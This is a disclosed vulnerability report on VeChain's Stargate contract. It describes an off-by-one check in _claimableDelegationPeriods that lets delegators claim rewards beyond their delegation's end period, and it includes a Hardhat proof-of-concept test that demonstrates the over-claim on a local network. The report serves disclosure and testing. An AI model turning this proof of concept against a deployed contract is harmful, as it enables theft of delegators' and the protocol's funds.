VeChain Disclosed Report

The _claimableDelegationPeriods function in the Stargate contract contains an incorrect boundary check (endPeriod > nextClaimablePeriod) that should use >= instead of >. This logic flaw allows delegators to claim rewards for periods beyond their delegation's end period when endPeriod equals nextClaimablePeriod, potentially claiming rewards they are not entitled to and draining rewards that should belong to other delegators or future periods.

In the _claimableDelegationPeriods function (lines 919-925), the condition checking if a delegation has ended uses a strict greater-than operator:

if (
    endPeriod != type(uint32).max &&
    endPeriod < currentValidatorPeriod &&
    endPeriod > nextClaimablePeriod  // @audit Should be >=
) {
    return (nextClaimablePeriod, endPeriod);
}

The issue arises when endPeriod equals nextClaimablePeriod. In this case:

• The condition endPeriod > nextClaimablePeriod evaluates to false
• The function bypasses this branch and falls through to the next condition
• It returns (nextClaimablePeriod, completedPeriods) instead of (nextClaimablePeriod, endPeriod)
• This allows the delegator to claim rewards up to completedPeriods, which can be significantly greater than endPeriod

The correct logic should recognize that when endPeriod >= nextClaimablePeriod, there are still claimable periods from nextClaimablePeriod up to and including endPeriod. The current implementation incorrectly excludes the edge case where they are equal.

Impact

Likelyhood: High - The attack can be executed without requiring privileged roles Impact: High* - Direct theft of end-user funds, Direct theft of protocol’s owner funds.

• Modify the "test:thor-solo" line in the package.json file in the packages/contracts folder to the following, to allow us to run only the POC test "test:thor-solo": "hardhat test --network vechain_solo --grep \"POC: Boundary check\"",

Paste the following test in the Rewards.test.ts file

    it("POC: Boundary check allows claiming rewards beyond delegation end period", async () => {
        const user1 = otherAccounts[0];
        const levelId = 1;
        
        // Stake and delegate
        const { tokenId: tokenId } = await stakeAndMatureNFT(
            user1,
            levelId,
            stargateNFTContract,
            stargateContract
        );
        tx = await stargateContract.connect(user1).delegate(tokenId, validator);
        await tx.wait();

        const [periodSize, startBlock, ,] =
            await protocolStakerContract.getValidationPeriodDetails(validator);

        // Fast forward 5 periods and claim rewards
        await fastForwardValidatorPeriods(Number(periodSize), Number(startBlock), 5);
        tx = await stargateContract.connect(user1).claimRewards(tokenId);
        await tx.wait();
        
        // Request exit in current period
        // This sets endPeriod to 7
        tx = await stargateContract.connect(user1).requestDelegationExit(tokenId);
        await tx.wait();

        const delegation = await stargateContract.getDelegationDetails(tokenId);
        console.log(`Delegation endPeriod: ${delegation.endPeriod}`);

        // Now: endPeriod (7) < currentValidatorPeriod (8)
        await fastForwardValidatorPeriods(Number(periodSize), Number(startBlock), 0);

        // Check claimable periods
        // lastClaimedPeriod = 6, so nextClaimablePeriod = 7
        // endPeriod = 7, currentValidatorPeriod = 8
        // @audit condition checks `endPeriod (7) > nextClaimablePeriod (7)` = false
        // So it skips the exit branch and returns completedPeriods which is still 7 (at this point)        
        let [firstClaimable, lastClaimable] = await stargateContract.claimableDelegationPeriods(tokenId);
        console.log(`After exit - nextClaimable: ${firstClaimable}, lastClaimable: ${lastClaimable}, endPeriod: ${delegation.endPeriod}`);

        // Fast forward 4 more periods to make the vulnerability more obvious
        // Now validator has moved well past the delegation's endPeriod
        await fastForwardValidatorPeriods(Number(periodSize), Number(startBlock), 4);

        // @audit rechecking the claimable periods, the user can now claim up to completedPeriods instead of endPeriod
        [firstClaimable, lastClaimable] = await stargateContract.claimableDelegationPeriods(tokenId);
        const [, , , completedPeriods] = await protocolStakerContract.getValidationPeriodDetails(validator);
        
        console.log(`  Delegation ended at period: ${delegation.endPeriod}`);
        console.log(`  User can claim up to period: ${lastClaimable}`);
        console.log(`  Extra periods stolen: ${lastClaimable - delegation.endPeriod}`);
        console.log(`  Completed periods: ${completedPeriods}`);

        // User claims rewards for periods they shouldn't be entitled to
        tx = await stargateContract.connect(user1).claimRewards(tokenId);
        await tx.wait();

        // lastClaimable should equal endPeriod (7) but it equals completedPeriods (12)
        expect(lastClaimable).to.be.greaterThan(delegation.endPeriod);
        
    });